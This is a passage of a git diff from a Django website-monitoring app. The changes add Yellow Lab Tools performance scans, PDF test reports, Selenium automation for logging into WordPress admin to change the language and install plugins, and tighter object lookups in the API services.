log_margin)*inch, + ((begin_y - (space * p_count)) + text_space)*inch, + (f'{policy_value}') + ) + + + p_count += 1 + logs_count += 1 + self.y = (begin_y - (space * p_count)) + + c_count += 1 + + + + self.end_page() + + + + + + + + + + + + + + + + + + + + + + + + + + + + def make_test_report(self): + + self.cover_page() + + if 'lighthouse' in self.report.type or 'full' in self.report.type: + self.create_data(data_type='lighthouse') + + if 'yellowlab' in self.report.type or 'full' in self.report.type: + self.create_data(data_type='yellowlab') + + if 'crux' in self.report.type or 'full' in self.report.type: + self.setup_page() + self.draw_page_title('CRUX') + self.end_page() + + self.publish_report() + return self.report + + + + + + + \ No newline at end of file diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 8814eac9..d5871295 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -3,6 +3,7 @@ from django.forms.models import model_to_dict from django.core.serializers.json import DjangoJSONEncoder from .lighthouse import Lighthouse +from .yellowlab import Yellowlab from .image import Image import time, os, sys, json @@ -46,6 +47,7 @@ def first_scan(self): images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) self.driver.quit() lh_data = Lighthouse(self.site).get_data() + yl_data = Yellowlab(self.site).get_data() if self.scan: @@ -53,6 +55,7 @@ def first_scan(self): self.scan.logs = logs self.scan.images = images self.scan.lighthouse = lh_data + self.scan.yellowlab = yl_data self.scan.configs = self.configs self.scan.save() first_scan = self.scan @@ -60,7 +63,8 @@ def first_scan(self): first_scan = Scan.objects.create( site=self.site, html=html, logs=logs, lighthouse=lh_data, - images=images, configs=self.configs + images=images, yellowlab=yl_data, + configs=self.configs ) self.update_site_info(first_scan) @@ -92,11 +96,13 @@ def second_scan(self): images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) self.driver.quit() lh_data = Lighthouse(self.site).get_data() + yl_data = Yellowlab(self.site).get_data() second_scan = Scan.objects.create( site=self.site, paired_scan=first_scan, html=html, logs=logs, lighthouse=lh_data, - images=images, configs=self.configs + images=images, yellowlab=yl_data, + configs=self.configs ) second_scan.save() @@ -110,24 +116,45 @@ def second_scan(self): def update_site_info(self, scan): - if scan.lighthouse['scores']['average'] == None: - health = 'No Data' - badge = 'neutral' - elif float(scan.lighthouse['scores']['average']) >= 75: - health = 'Good' - badge = 'success' - elif 75 > float(scan.lighthouse['scores']['average']) >= 60: - health = 'Okay' - badge = 'warning' - elif 60 > float(scan.lighthouse['scores']['average']): - health = 'Poor' - badge = 'danger' + + health = 'No Data' + badge = 'neutral' + d = 0 + score = 0 + + if scan.lighthouse['scores']['average'] is not None: + score += float(scan.lighthouse['scores']['average']) + d += 1 + if scan.yellowlab['scores']['globalScore'] is not None: + score += float(scan.yellowlab['scores']['globalScore']) + d += 1 + + if score != 0: + score = score / d + + if score >= 75: + health = 'Good' + badge = 'success' + elif 75 > score >= 60: + health = 'Okay' + badge = 'warning' + elif 60 > score: + health = 'Poor' + badge = 'danger' + + else: + if self.site.info['status']['score'] is not None: + score = float(self.site.info['status']['score']) + else: + score = None self.site.info['latest_scan']['id'] = str(scan.id) self.site.info['latest_scan']['time_created'] = str(scan.time_created) self.site.info['lighthouse'] = scan.lighthouse['scores'] + self.site.info['yellowlab'] = scan.yellowlab['scores'] self.site.info['status']['health'] = str(health) self.site.info['status']['badge'] = str(badge) + self.site.info['status']['score'] = score self.site.save() diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py index d5b11fdb..c3c46b42 100644 --- a/app/api/utils/tester.py +++ b/app/api/utils/tester.py @@ -1,6 +1,6 @@ from ..models import Site, Scan, Test import time, os, sys, json, random, string, re -from difflib import SequenceMatcher, HtmlDiff +from difflib import SequenceMatcher, HtmlDiff, Differ from datetime import datetime from .image import Image @@ -99,6 +99,7 @@ def compare_html(self): return html_raw_score + def compare_logs(self): self.clean_logs() pre_scan = list(self.pre_scan_logs) @@ -282,11 +283,84 @@ def delta_lighthouse(self): + def delta_yellowlab(self): + try: + pre_globalScore = int(self.test.pre_scan.yellowlab["scores"]['globalScore']) + pre_pageWeight = int(self.test.pre_scan.yellowlab["scores"]['pageWeight']) + pre_requests = int(self.test.pre_scan.yellowlab["scores"]['requests']) + pre_domComplexity = int(self.test.pre_scan.yellowlab["scores"]['domComplexity']) + pre_javascriptComplexity = int(self.test.pre_scan.yellowlab["scores"]['javascriptComplexity']) + pre_badJavascript = int(self.test.pre_scan.yellowlab["scores"]['badJavascript']) + pre_jQuery = int(self.test.pre_scan.yellowlab["scores"]['jQuery']) + pre_cssComplexity = int(self.test.pre_scan.yellowlab["scores"]['cssComplexity']) + pre_badCSS = int(self.test.pre_scan.yellowlab["scores"]['badCSS']) + pre_fonts = int(self.test.pre_scan.yellowlab["scores"]['fonts']) + pre_serverConfig = int(self.test.pre_scan.yellowlab["scores"]['serverConfig']) + + post_globalScore = int(self.test.post_scan.yellowlab["scores"]['globalScore']) + post_pageWeight = int(self.test.post_scan.yellowlab["scores"]['pageWeight']) + post_requests = int(self.test.post_scan.yellowlab["scores"]['requests']) + post_domComplexity = int(self.test.post_scan.yellowlab["scores"]['domComplexity']) + post_javascriptComplexity = int(self.test.post_scan.yellowlab["scores"]['javascriptComplexity']) + post_badJavascript = int(self.test.post_scan.yellowlab["scores"]['badJavascript']) + post_jQuery = int(self.test.post_scan.yellowlab["scores"]['jQuery']) + post_cssComplexity = int(self.test.post_scan.yellowlab["scores"]['cssComplexity']) + post_badCSS = int(self.test.post_scan.yellowlab["scores"]['badCSS']) + post_fonts = int(self.test.post_scan.yellowlab["scores"]['fonts']) + post_serverConfig = int(self.test.post_scan.yellowlab["scores"]['serverConfig']) + + pageWeight_delta = post_pageWeight - pre_pageWeight + requests_delta = post_requests - pre_requests + domComplexity_delta = post_domComplexity - pre_domComplexity + javascriptComplexity_delta = post_javascriptComplexity - pre_javascriptComplexity + badJavascript_delta = post_badJavascript - pre_badJavascript + jQuery_delta = post_jQuery - pre_jQuery + cssComplexity_delta = post_cssComplexity - pre_cssComplexity + badCSS_delta = post_badCSS - pre_badCSS + fonts_delta = post_fonts - pre_fonts + serverConfig_delta = post_serverConfig - pre_serverConfig + + average_delta = post_globalScore - pre_globalScore + + except: + pageWeight_delta = None + requests_delta = None + domComplexity_delta = None + javascriptComplexity_delta = None + badJavascript_delta = None + jQuery_delta = None + cssComplexity_delta = None + badCSS_delta = None + fonts_delta = None + serverConfig_delta = None + average_delta = None + + data = { + "scores": { + "pageWeight_delta": pageWeight_delta, + "requests_delta": requests_delta, + "domComplexity_delta": domComplexity_delta, + "javascriptComplexity_delta": javascriptComplexity_delta, + "badJavascript_delta": badJavascript_delta, + "jQuery_delta": jQuery_delta, + "cssComplexity_delta": cssComplexity_delta, + "badCSS_delta": badCSS_delta, + "fonts_delta": fonts_delta, + "serverConfig_delta": serverConfig_delta, + "average_delta": average_delta, + "current_average": post_globalScore, + } + } + + return data + + + def update_site_info(self, test): site = test.site site.info['latest_test']['id'] = str(test.id) site.info['latest_test']['time_created'] = str(test.time_created) - site.info['latest_test']['score'] = str(round(test.score)) + site.info['latest_test']['score'] = (round(test.score * 100) / 100) site.save() return site @@ -297,8 +371,6 @@ def update_site_info(self, test): - - def run_test(self, index=None): # default scores @@ -308,6 +380,7 @@ def run_test(self, index=None): logs_score = 0 num_logs_ratio = 0 lighthouse_score = 0 + yellowlab_score = 0 images_score = 0 # default weights @@ -317,12 +390,14 @@ def run_test(self, index=None): logs_score_w = 0 num_logs_w = 0 delta_lh_w = 0 + delta_yl_w = 0 images_w = 0 # default data html_delta_context = None logs_delta_context = None lighthouse_data = None + yellowlab_data = None images_data = None @@ -380,11 +455,33 @@ def run_test(self, index=None): if lighthouse_score == None: delta_lh_w = 0 elif lighthouse_score > 0: - delta_lh_w = 0 + delta_lh_w = 1 + lighthouse_score = 1 else: delta_lh_w = 1 + + + if 'yellowlab' in self.test.type or 'full' in self.test.type: + # scores & data + yellowlab_data = self.delta_yellowlab() + yellowlab_avg = yellowlab_data['scores']['average_delta'] + if yellowlab_avg != None: + yellowlab_score = (100 + yellowlab_avg)/100 + + # weights + if yellowlab_score == None: + delta_yl_w = 0 + elif yellowlab_score > 0: + delta_yl_w = 1 + yellowlab_score = 1 + else: + delta_yl_w = 1 + + + + if 'vrt' in self.test.type or 'full' in self.test.type: # scores & data images_data = Image().test(test=self.test, index=index) @@ -398,7 +495,7 @@ def run_test(self, index=None): total_w = ( html_score_w + logs_score_w + num_html_w + num_logs_w + delta_lh_w + micro_diff_w - + images_w + + images_w + delta_yl_w ) @@ -408,6 +505,7 @@ def run_test(self, index=None): (num_logs_ratio * num_logs_w) + (num_html_ratio * num_html_w) + (lighthouse_score * delta_lh_w) + + (yellowlab_score * delta_yl_w) + (micro_diff_score * micro_diff_w) + (images_score * images_w) ) / total_w) * 100 @@ -418,7 +516,7 @@ def run_test(self, index=None): + str(logs_score*logs_score_w) + " + " + str(num_logs_ratio*num_logs_w) + " + " + str(num_html_ratio*num_html_w) + " + " + str(lighthouse_score*delta_lh_w) + " + " + str(micro_diff_score*micro_diff_w) + " + " + str(images_score * images_w)+ - ") / " + str(total_w) + ") * 100 ===> " + str(score) + " + " + str(yellowlab_score*delta_yl_w) + ") / " + str(total_w) + ") * 100 ===> " + str(score) ) @@ -426,6 +524,7 @@ def run_test(self, index=None): self.test.html_delta = html_delta_context self.test.logs_delta = logs_delta_context self.test.lighthouse_delta = lighthouse_data + self.test.yellowlab_delta = yellowlab_data self.test.images_delta = images_data self.test.score = score diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py new file mode 100644 index 00000000..39a826f1 --- /dev/null +++ b/app/api/utils/wordpress.py @@ -0,0 +1,350 @@ +from .driver import driver_init, driver_wait +from selenium import webdriver +from selenium.webdriver.support.ui import Select +from selenium.webdriver.common.keys import Keys +import time + + + + + + + +class Wordpress(): + + + def __init__( + self, + login_url, + admin_url, + username, + password, + wait_time, + ): + self.login_url = login_url + self.username = username + self.password = password + if wait_time is None: + self.driver = driver_init() + else: + self.driver = driver_init(wait_time=wait_time) + self.native_lang = 'en' + + if not admin_url.endswith('/'): + admin_url = admin_url + '/' + self.admin_url = admin_url + + + + + def login(self): + + ''' + Tries to log into a WP site with given credentials. + + returns --> True / False + + ''' + + print('begining login method for ' + self.login_url) + try: + self.driver.get(self.login_url) + try: + self.driver.find_element_by_xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + self.driver.find_element_by_xpath( + '//*[@id="jetpack-sso-wrap"]/a[1]').click() + self.driver.find_element_by_xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + self.driver.find_element_by_link_text( + 'Login with username and password').click() + self.driver.find_element_by_xpath('//*[@id="user_login"]') + print('found login form') + except: + print('unable to locate login form at this path') + self.driver.quit() + return False + + + except: + print('unable to locate login form at this path') + self.driver.quit() + return False + + user_name_elem = self.driver.find_element_by_xpath('//*[@id="user_login"]') + user_name_elem.clear() + user_name_elem.send_keys(self.username) + time.sleep(1) + passworword_elem = self.driver.find_element_by_xpath('//*[@id="user_pass"]') + passworword_elem.clear() + passworword_elem.send_keys(self.password) + time.sleep(1) + passworword_elem.send_keys(Keys.RETURN) + + try: + + + try: + verify_email = self.driver.find_element_by_xpath('//*[@id="correct-admin-email"]') + print('need to verify email') + self.driver.execute_script('arguments[0].click();', verify_email) + print('clicked verify') + except: + pass + + print('done with login attempt') + + try: + self.driver.find_element_by_xpath('//*[@id="login_error"]') + print('found login error') + self.driver.refresh() + + print('trying login again') + user_name_elem = self.driver.find_element_by_xpath('//*[@id="user_login"]') + user_name_elem.clear() + user_name_elem.send_keys(self.username) + time.sleep(1) + passworword_elem = self.driver.find_element_by_xpath('//*[@id="user_pass"]') + passworword_elem.clear() + passworword_elem.send_keys(self.password) + time.sleep(1) + passworword_elem.send_keys(Keys.RETURN) + + try: + self.driver.find_element_by_xpath('//*[@id="login_error"]') + print('found login error again') + print('counld not login to this site') + except: + print('no login errors') + + except: + print('no login errors') + + except: + print('counld not login to this site') + self.driver.quit() + return False + + + # removing alerts + try: + deny_btn = self.driver.find_element_by_id('webpushr-deny-button') + self.driver.execute_script("arguments[0].click();", deny_btn) + print('removed alert') + except: + pass + + try: + # checking if url location is wp-admin + current_url = str(self.driver.current_url) + admin_link = '/wp-admin/' + print('current url -> ' + current_url) + if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url: + pass + else: + print('not in wp-admin - navigating there now') + admin_btn = self.driver.find_element_by_id('wp-admin-bar-dashboard') + admin_link = admin_btn.find_element_by_tag_name('a') + self.driver.execute_script("arguments[0].click();", admin_link) + print('clicked dashboard link') + + except: + print('could not login') + self.driver.quit() + return False + + + return True + + + + + + def begin_lang_check(self): + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = self.driver.find_element_by_xpath('//*[@id="menu-settings"]') + self.driver.execute_script("arguments[0].click();", settings_menu) + settings = self.driver.find_element_by_xpath('.//a[@href="'+s_url+'"]') + self.driver.execute_script("arguments[0].click();", settings) + print('clicked settings tab') + except: + current_url = self.driver.current_url + self.driver.get(current_url + s_url) + + # finding and recording current native language + lang_selector = self.driver.find_element_by_id('WPLANG') + optgroup = lang_selector.find_elements_by_tag_name('optgroup')[0] + selected_lang = optgroup.find_element_by_xpath('.//option[@selected="selected"]') + default_lang = selected_lang.get_attribute('lang') + default_lang_value = selected_lang.get_attribute('value') + print("defalut lang value is " + str(default_lang)) + + if default_lang != 'en': + + # selecting english + select = Select(lang_selector) + select.select_by_value('en_CA') + print('selected english') + + # saving settings + save_btn = self.driver.find_element_by_id('submit') + self.driver.execute_script("arguments[0].scrollIntoView();", save_btn) + self.driver.execute_script("arguments[0].click();", save_btn) + print('saved lang to english') + + self.native_lang = default_lang_value + return True + + else: + self.native_lang = 'en' + + + except: + print('error in changing language') + return False + + + + + + + def end_lang_check(self): + + if self.native_lang != 'en': + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = self.driver.find_element_by_xpath('//*[@id="menu-settings"]') + self.driver.execute_script("arguments[0].click();", settings_menu) + settings = self.driver.find_element_by_xpath('.//a[@href="'+s_url+'"]') + self.driver.execute_script("arguments[0].click();", settings) + print('clicked settings tab') + except: + current_url = self.driver.current_url + self.driver.get(current_url + '/' + s_url) + + # selecting native lang + lang_selector = self.driver.find_element_by_id('WPLANG') + select = Select(lang_selector) + select.select_by_value(self.native_lang) + print('selected native_lang') + + # saving settings + save_btn = self.driver.find_element_by_id('submit') + self.driver.execute_script("arguments[0].scrollIntoView();", save_btn) + self.driver.execute_script("arguments[0].click();", save_btn) + print('saved native lang') + + except: + self.driver.quit() + return False + + self.driver.quit() + return True + + + + def install_plugin(self, plugin_name): + + # setting url for link naving + plugin_menu_page = 'plugins.php' + add_plugin_page = 'plugin-install.php' + + # navigating to plugin page + try: + print('trying click method') + plugin_menu = self.driver.find_element_by_xpath('//*[@id="menu-plugins"]') + self.driver.execute_script("arguments[0].click();", plugin_menu) + p_url = 'plugins.php' + plugins = self.driver.find_element_by_xpath('.//a[@href="'+p_url+'"]') + self.driver.execute_script("arguments[0].click();", plugins) + print('clicked plugin menu') + + # looking for dependencies in plugin table + time.sleep(10) + form = self.driver.find_element_by_id('bulk-action-form') + pluginTable = form.find_element_by_tag_name('tbody') + self.driver.execute_script("arguments[0].scrollIntoView();", pluginTable) + print('scrolled to plugin table') + time.sleep(1) + tableText = pluginTable.text + + except: + print('trying link method for navigation') + try: + self.driver.get(self.admin_link + plugin_menu_page) + time.sleep(10) + # looking for dependencies in plugin table + time.sleep(10) + form = self.driver.find_element_by_id('bulk-action-form') + pluginTable = form.find_element_by_tag_name('tbody') + self.driver.execute_script("arguments[0].scrollIntoView();", pluginTable) + print('scrolled to plugin table') + time.sleep(1) + tableText = pluginTable.text + except: + print('unable to find plugin table') + self.driver.quit() + return False + + if plugin_name not in tableText: + try: + print('plugin not present, preparing to install') + + time.sleep(2) + print('navigating to add plugins page') + + try: + url = 'plugin-install.php' + add_plugin = self.driver.find_element_by_xpath('//a[@href="'+url+'"]') + self.driver.execute_script("arguments[0].click();", add_plugin) + print('clicked add plugin link') + time.sleep(5) + except: + self.driver.get(self.admin_url + add_plugin_page) + time.sleep(5) + + + # searching for plugin + search_form = self.driver.find_element_by_xpath('//input[@type="search"]') + search_form.clear() + search_form.send_keys(plugin_name) + time.sleep(1) + search_form.send_keys(Keys.RETURN) + time.sleep(3) + + ##### Clicking Updraft "install" plugin ###### + install = self.driver.find_element_by_xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + self.driver.execute_script("arguments[0].scrollIntoView();", install) + time.sleep(1) + self.driver.execute_script('arguments[0].click();', install) + print('Clicked -install plugin-') + time.sleep(30) + + + #### Clicking "activate" plugin ###### + self.driver.refresh() + time.sleep(3) + activate = self.driver.find_element_by_xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + self.driver.execute_script("arguments[0].scrollIntoView();", activate) + time.sleep(1) + self.driver.execute_script('arguments[0].click();', activate) + print('Clicked -Activate plugin-') + time.sleep(30) + print('Dependencies installed sucessfully') + return True + + except: + print('failed dependency installation') + self.driver.quit() + return False \ No newline at end of file diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py new file mode 100644 index 00000000..25f737b5 --- /dev/null +++ b/app/api/utils/yellowlab.py @@ -0,0 +1,133 @@ +import subprocess, json +from ..models import Site, Scan + + + +class Yellowlab(): + + """Initializes Yellow Lab Tools CLI and runs an audit of the site""" + + + def __init__(self, site=None): + self.site = site + + + def init_audit(self): + proc = subprocess.Popen([ + 'yellowlabtools', + self.site.site_url, + ], + stdout=subprocess.PIPE, + user='app', + ) + stdout_value = proc.communicate()[0] + return stdout_value + + + def get_data(self): + try: + stdout_value = self.init_audit() + stdout_string = str(stdout_value) + + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'yellowlab ran into a problem',} + return error + + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + } + + # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"] + for a in cat_audits: + try: + audit = stdout_json["rules"][a] + audits[cat].append(audit) + except: + pass + + + # get scores from each category + globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"] + pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"] + requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"] + domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"] + javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"] + badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"] + jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"] + cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"] + badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"] + fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"] + serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"] + + scores = { + "globalScore": globalScore, + "pageWeight": pageWeight_score, + "requests": requests_score, + "domComplexity": domComplexity_score, + "javascriptComplexity": javascriptComplexity_score, + "badJavascript": badJavascript_score, + "jQuery": jQuery_score, + "cssComplexity": cssComplexity_score, + "badCSS": badCSS_score, + "fonts": fonts_score, + "serverConfig": serverConfig_score, + } + + data = { + "scores": scores, + "audits": audits + } + + except Exception as e: + print(e) + + scores = { + "globalScore": None, + "pageWeight": None, + "requests": None, + "domComplexity": None, + "javascriptComplexity": None, + "badJavascript": None, + "jQuery": None, + "cssComplexity": None, + "badCSS": None, + "fonts": None, + "serverConfig": None, + } + + audits = { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + } + + data = { + "scores": scores, + "audits": audits + } + + return data + + diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index 770d5f23..fe21338d 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -1,4 +1,4 @@ -from ...models import (Test, Site, Scan, Log, Schedule, Automation) +from ...models import * from rest_framework import serializers from rest_framework.fields import UUIDField @@ -39,7 +39,8 @@ class ScanSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Scan fields = ['id', 'site', 'paired_scan', 'time_created', - 'html', 'logs', 'lighthouse', 'images', 'configs', + 'html', 'logs', 'lighthouse', 'yellowlab', 'images', + 'configs', ] @@ -50,8 +51,8 @@ class SmallScanSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Scan - fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', 'lighthouse', - 'configs', + fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', + 'lighthouse', 'yellowlab', 'configs', ] @@ -65,7 +66,7 @@ class Meta: model = Test fields = ['id', 'site', 'time_created', 'time_completed', 'pre_scan', 'post_scan', 'score', 'html_delta', 'logs_delta', - 'lighthouse_delta', 'images_delta' + 'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type', ] @@ -78,7 +79,8 @@ class SmallTestSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Test fields = ['id', 'site', 'time_created', 'time_completed', - 'pre_scan', 'post_scan', 'score', 'lighthouse_delta' + 'pre_scan', 'post_scan', 'score', 'lighthouse_delta', + 'yellowlab_delta', ] @@ -106,4 +108,18 @@ class Meta: model = Automation fields = ['id', 'expressions', 'actions', 'user', 'schedule', 'time_created', 'name' + ] + + + + +class ReportSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) + user = serializers.ReadOnlyField(source='user.username') + + class Meta: + model = Report + fields = ['id', 'site', 'user', 'time_created', 'type', + 'path', 'info' ] \ No newline at end of file diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index cdc7aa33..fe24f121 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -2,15 +2,18 @@ from datetime import datetime from django.contrib.auth.models import User from django_celery_beat.models import CrontabSchedule, PeriodicTask +from django.shortcuts import get_object_or_404 from ...models import * from rest_framework.response import Response from rest_framework import status from .serializers import * +from ...tasks import * from rest_framework.pagination import LimitOffsetPagination from ...utils.scanner import Scanner as S from ...utils.tester import Tester as T -from ...tasks import * from ...utils.image import Image as I +from ...utils.reporter import Reporter as R +from ...utils.wordpress import Wordpress as W @@ -100,21 +103,7 @@ def create_site(request, delay=False): -def create_site_screenshot(request, id): - user = request.user - site = Site.objects.get(id=id) - if site.user != user: - data = {'reason': 'you cannot retrieve a screenshot of a site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - configs = request.data.get('configs', None) - - data = I().screenshot(site=site, configs=configs) - record_api_call(request, data, '201') - response = Response(data, status=status.HTTP_201_CREATED) - return response @@ -123,7 +112,7 @@ def get_sites(request): user = request.user if site_id != None: - site = Site.objects.get(id=site_id) + site = get_object_or_404(Site, pk=site_id) if site.user != user: data = {'reason': 'you cannot retrieve a Site you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -146,7 +135,7 @@ def get_sites(request): def delete_site(request, id): user = request.user - site = Site.objects.get(id=id) + site = get_object_or_404(Site, pk=id) if site.user != user: data = {'reason': 'you cannot delete Tests of a Site you do not own',} @@ -208,17 +197,26 @@ def create_test(request, delay=False): post_scan = Scan.objects.get(id=post_scan_id) + # creating test object + test = Test.objects.create( + site=site, + type=test_type, + ) + if delay == True: create_test_bg.delay( - site_id=site.id, + test_id=test.id, configs=configs, type=test_type, index=index, pre_scan=pre_scan_id, post_scan=post_scan_id ) - data = {'message': 'test is being created in the background'} + data = { + 'message': 'test is being created in the background', + 'id': str(test.id), + } record_api_call(request, data, '201') return Response(data, status=status.HTTP_201_CREATED) @@ -237,13 +235,12 @@ def create_test(request, delay=False): pre_scan.save() post_scan.save() - # creating new test object - test = Test.objects.create( - site=site, - type=test_type, - pre_scan=pre_scan, - post_scan=post_scan, - ) + # updating test object + test.type = test_type + test.type = test_type + test.pre_scan = pre_scan + test.post_scan = post_scan + test.save() # running tester updated_test = T(test=test).run_test(index=index) @@ -271,7 +268,7 @@ def get_tests(request): small = request.query_params.get('small') if test_id != None: - test = Test.objects.get(id=test_id) + test = get_object_or_404(Test, pk=test_id) if test.site.user != user: data = {'reason': 'you cannot retrieve Tests of a Site you do not own',} @@ -333,7 +330,7 @@ def get_tests(request): def delete_test(request, id): - test = Test.objects.get(id=id) + test = get_object_or_404(Test, pk=id) site = test.site user = request.user @@ -357,7 +354,7 @@ def create_scan(request, delay=False): site_id = request.data['site_id'] user = request.user - site = Site.objects.get(id=site_id) + site = get_object_or_404(Site, pk=site_id) account_is_active = check_account(request) if not account_is_active: @@ -381,13 +378,18 @@ def create_scan(request, delay=False): 'max_wait_time': 60, } + # creating scan obj + created_scan = Scan.objects.create(site=site) + if delay == True: - create_scan_bg.delay(site.id, configs=configs) - data = {'message': 'scan is being created in the background'} + create_scan_bg.delay(scan_id=created_scan.id, configs=configs) + data = { + 'message': 'scan is being created in the background', + 'id': str(created_scan.id), + } record_api_call(request, data, '201') return Response(data, status=status.HTTP_201_CREATED) else: - created_scan = Scan.objects.create(site=site) updated_scan = S(scan=created_scan, configs=configs).first_scan() serializer_context = {'request': request,} serialized = ScanSerializer(updated_scan, context=serializer_context) @@ -410,7 +412,7 @@ def get_scans(request): small = request.query_params.get('small') if scan_id != None: - scan = Scan.objects.get(id=scan_id) + scan = get_object_or_404(Scan, pk=scan_id) if scan.site.user != user: data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} @@ -424,7 +426,7 @@ def get_scans(request): return Response(data, status=status.HTTP_200_OK) try: - site = Site.objects.get(id=site_id) + site = get_object_or_404(Site, pk=site_id) except: if site_id != None: data = {'reason': 'cannot find a site with that id',} @@ -467,7 +469,7 @@ def get_scans(request): def delete_scan(request, id): - scan = Scan.objects.get(id=id) + scan = get_object_or_404(Scan, pk=id) site = scan.site user = request.user @@ -535,13 +537,23 @@ def create_or_update_schedule(request): schedule.save() # retriving object again to avoid cacheing issues schedule_new = Schedule.objects.get(id=request.data['schedule_id']) + + # if not status change, updating data else: + + if Automation.objects.filter(schedule=schedule).exists(): + automation = Automation.objects.filter(schedule=schedule)[0] + auto_id = automation.id + else: + auto_id = None + if task_type == 'test': task = 'api.tasks.create_test_bg' arguments = { 'site_id': str(site.id), 'configs': configs, 'type': test_type, + 'automation_id': str(auto_id) } if task_type == 'scan': @@ -549,6 +561,14 @@ def create_or_update_schedule(request): arguments = { 'site_id': str(site.id), 'configs': configs, + 'automation_id': str(auto_id) + } + + if task_type == 'report': + task = 'api.tasks.create_report_bg' + arguments = { + 'site_id': str(site.id), + 'automation_id': str(auto_id) } format_str = '%m/%d/%Y' @@ -647,7 +667,7 @@ def get_schedules(request): if schedule_id != None: - schedule = Schedule.objects.get(id=schedule_id) + schedule = get_object_or_404(Schedule, pk=schedule_id) if schedule.site.user != user or schedule.user != user: data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} @@ -662,7 +682,7 @@ def get_schedules(request): try: - site = Site.objects.get(id=site_id) + site = get_object_or_404(Site, pk=site_id) except: if site_id != None: data = {'reason': 'cannot find a site with that id',} @@ -694,7 +714,7 @@ def get_schedules(request): def delete_schedule(request, id): - schedule = Schedule.objects.get(id=id) + schedule = get_object_or_404(Schedule, pk=id) task = PeriodicTask.objects.get(id=schedule.periodic_task_id) site = schedule.site user = request.user @@ -770,6 +790,8 @@ def create_or_update_automation(request): arguments = { 'site_id': str(schedule.site.id), 'automation_id': str(automation.id), + 'configs': json.loads(task.kwargs).get('configs', None), + 'type': json.loads(task.kwargs).get('type', None), } task.kwargs=json.dumps(arguments) task.save() @@ -786,7 +808,7 @@ def get_automations(request): automation_id = request.query_params.get('automation_id') user = request.user if automation_id != None: - automation = Automation.objects.get(id=automation_id) + automation = get_object_or_404(Automation, pk=automation_id) if automation.user != user: data = {'reason': 'you cannot retrieve an Automation you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -808,7 +830,7 @@ def get_automations(request): def delete_automation(request, id): - automation = Automation.objects.get(id=id) + automation = get_object_or_404(Automation, pk=automation_id) if automation.user != request.user: data = {'reason': 'you cannot delete an automation you do not own',} @@ -825,6 +847,105 @@ def delete_automation(request, id): + + + + + +def create_or_update_report(request): + + report_id = request.data.get('report_id', None) + site_id = request.data.get('site_id', None) + report_type = request.data.get('type', ['full']) + text_color = request.data.get('text_color', '#24262d') + background_color = request.data.get('background_color', '#e1effd') + highlight_color = request.data.get('highlight_color', '#4283f8') + site = Site.objects.get(id=site_id) + + info = { + "text_color": text_color, + "background_color": background_color, + "highlight_color": highlight_color, + } + + if report_id: + report = get_object_or_404(Report, pk=report_id) + else: + report = Report.objects.create( + user=request.user, site=site + ) + + # update report data + report.info = info + report.type = report_type + report.save() + un_cached_report = Report.objects.get(id=report.id) + + + # generate report + updated_report = R(report=un_cached_report).make_test_report() + + + serializer_context = {'request': request,} + data = ReportSerializer(updated_report, context=serializer_context).data + 